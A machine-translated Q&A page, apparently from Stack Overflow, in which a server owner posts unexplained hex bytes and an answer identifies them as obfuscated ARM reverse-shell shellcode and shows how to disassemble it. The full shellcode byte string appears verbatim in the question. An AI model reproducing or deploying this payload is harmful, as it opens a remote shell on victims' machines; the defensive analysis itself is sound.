繁体   English   中英

无法解码在我的服务器上找到的 shellcode

[英]Cannot decode shellcode found on my server

今天我对我的网站运行缓慢感到震惊,所以我决定看看哪里出了问题。 查看 apache2,服务器带宽,配置不正确,找不到任何东西。 所以一时兴起,我打开了一个我不知道存在的随机文件,至少我没有把它放在那里。

这是我在文件中找到的代码:

\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde

谁能把我推向正确的方向..? 它看起来像一些恶意的 shell 代码。 我试图对其进行解码,但无法弄清楚它是如何编码的。

谢谢!

我试过 Ascii 转文本,二进制转文本,base64 转文本。 当我尝试从 ascii 解码为文本时,我发现的唯一有用的文本是 /bin/。

好像是ARM反向shell bin/sh shellcode。

分析

如果每四个字节的第一个半字节是“e”,那么它很可能是ARM代码。 这是因为条件执行(总是执行)。 在这种情况下,第四个和八个字节是 e2 和 e1。

要转换为 ELF 文件并查看反汇编,您可以执行以下操作:

$ arm-none-eabi-objcopy -I binary -O elf32-littlearm data.bin data.elf
$ arm-none-eabi-objdump -D data.elf

前两条指令处于 ARM 模式,即从地址 8 开始跳转到拇指模式。

   0:   e28f1001        add     r1, pc, #1
   4:   e12fff11        bx      r1

你可以看看拇指代码

arm-none-eabi-objdump -M force-thumb -D data.elf

然后拇指代码发出一些系统调用,并修改自身以修补 null 字节并添加一些混淆,使我们的生活更加艰难。

我搜索了系统调用和一些常量,发现了这个: https://packetstormsecurity.com/files/151392/Linux-ARM-Reverse-Shell-Shellcode.html不完全相同,但非常相似。 您提供的代码添加了一些混淆,并且 IP 地址/端口已更改。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM